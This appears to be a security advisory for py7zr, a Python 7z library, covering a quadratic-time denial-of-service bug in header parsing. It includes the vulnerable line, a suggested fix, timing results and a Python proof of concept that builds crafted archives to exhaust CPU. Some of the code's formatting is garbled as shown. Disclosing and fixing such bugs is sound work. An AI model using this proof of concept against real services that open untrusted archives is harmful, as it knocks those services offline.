GHSA-h4gh-22qq-72r7

Suggest an improvement
Source
https://github.com/advisories/GHSA-h4gh-22qq-72r7
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-h4gh-22qq-72r7/GHSA-h4gh-22qq-72r7.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-h4gh-22qq-72r7
Aliases
  • CVE-2026-55206
Published
2026-06-19T21:16:33Z
Modified
2026-06-19T21:30:08.764424302Z
Severity
  • 6.9 (Medium) CVSS_V4 - CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()
Details

Summary

PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.init() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.

Details

The vulnerable code is in PackInfo._read() (archiveinfo.py):

self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]

numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.init(), before any extraction.

Suggested fix — replace with O(n) cumulative sum:

from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes))

PoC

``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY

MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'

def encodeuint64(v): buf = io.BytesIO() writeuint64(buf, v) return buf.getvalue()

def build7zwithstreams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAINSTREAMSINFO) header.write(PROPERTY.PACKINFO) header.write(encodeuint64(0)) header.write(encodeuint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encodeuint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) headerdata = header.getvalue()

  out = io.BytesIO()
  out.write(MAGIC)
  out.write(b'\x00\x04')
  next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
  start_header = (struct.pack('<Q', 0)
                  + struct.pack('<Q', len(header_data))
                  + struct.pack('<I', next_crc))
  out.write(struct.pack('<I', binascii.crc32(start_header) &

0xFFFFFFFF)) out.write(startheader) out.write(headerdata) return out.getvalue()

for n in [1000, 5000, 10000, 30000, 50000]: archive = build7zwithstreams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.init(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x8664.

Results:

n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s

Impact

Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.

Database specific
{
    "nvd_published_at": null,
    "github_reviewed_at": "2026-06-19T21:16:33Z",
    "github_reviewed": true,
    "severity": "MODERATE",
    "cwe_ids": [
        "CWE-407"
    ]
}
References

Affected packages

PyPI / py7zr

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.1.3

Affected versions

0.*
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.1.0
0.1.1
0.1.2
0.1.3
0.1.4
0.1.5
0.1.6
0.2.0
0.3
0.3.1
0.3.2
0.3.3
0.3.4
0.3.5
0.4a1
0.4a2
0.4b1
0.4
0.4.1
0.4.3
0.4.4
0.5a3
0.5a4
0.5b1
0.5b2
0.5b3
0.5b4
0.5b5
0.5b6
0.5rc2
0.5rc3
0.5
0.5.2
0.5.3
0.5.4
0.5.5
0.6a1
0.6a2
0.6b1
0.6b2
0.6b3
0.6b4
0.6b5
0.6b6
0.6b7
0.6b8
0.6rc0
0.6
0.7.0b1
0.7.0b2
0.7.0b3
0.7.0
0.7.1
0.7.2
0.7.3
0.7.4
0.8.0a1
0.8.0a2
0.8.0a3
0.8.0b1
0.8.0b2
0.8.0b3
0.8.0b4
0.8.0b5
0.8.0b6
0.8.0b7
0.8.0b8
0.8.0
0.8.1
0.8.2
0.8.3
0.8.4
0.8.5
0.9.0a1
0.9.0a2
0.9.0b1
0.9.0b2
0.9.0b3
0.9.0
0.9.1
0.9.2
0.9.3
0.9.4
0.9.5
0.9.7
0.9.8
0.9.9
0.9.10
0.10.0a1
0.10.0a2
0.10.0a3
0.10.0a4
0.10.0a5
0.10.0a6
0.10.0b1
0.10.0b3
0.10.0
0.10.1
0.10.2
0.11.0a1
0.11.0b1
0.11.0b2
0.11.0b3
0.11.0
0.11.1
0.11.2
0.11.3
0.12.0
0.13.0
0.13.1
0.14.0
0.14.1
0.15.0
0.15.1
0.15.2
0.16.0
0.16.1
0.16.2
0.16.3
0.16.4
0.17.0
0.17.1
0.17.2
0.17.3
0.17.4
0.18.0
0.18.1
0.18.3
0.18.4
0.18.5
0.18.6
0.18.7
0.18.9
0.18.10
0.18.11
0.18.12
0.19.0
0.19.1
0.19.2
0.20.0
0.20.1
0.20.2
0.20.4
0.20.5
0.20.6
0.20.7
0.20.8
0.21.0
0.21.1
0.22.0
1.*
1.0.0rc1
1.0.0rc2
1.0.0rc3
1.0.0
1.1.0rc2
1.1.0rc4
1.1.0
1.1.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-h4gh-22qq-72r7/GHSA-h4gh-22qq-72r7.json"
last_known_affected_version_range
"<= 1.1.2"